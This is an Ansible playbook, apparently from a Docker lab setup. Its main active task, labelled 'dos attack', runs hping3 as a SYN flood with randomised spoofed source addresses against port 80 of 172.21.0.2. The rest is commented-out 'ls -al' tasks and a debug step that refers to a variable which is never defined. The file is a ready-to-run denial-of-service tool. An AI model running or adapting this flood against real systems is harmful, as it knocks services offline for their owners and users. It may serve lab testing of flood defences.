--- - hosts: service remote_user: docker sudo: yes gather_facts: no vars: user: "docker" tasks: # ls -al # - name: ls -al # become: yes # become_user: "{{ user }}" # command: ls -al # ignore_errors: yes # register: config2 # - name: ls config2 # debug: var=config2.stdout_lines # dos attack async - name: dos attack command: sudo hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source 172.21.0.2 -y async: 120 poll: 0 # ls -al # - name: ls -al # become: yes # become_user: "{{ user }}" # command: ls -al # ignore_errors: yes # register: config3 - name: ls config3 debug: var=config3.stdout_lines - name: Refresh connection meta: clear_host_errors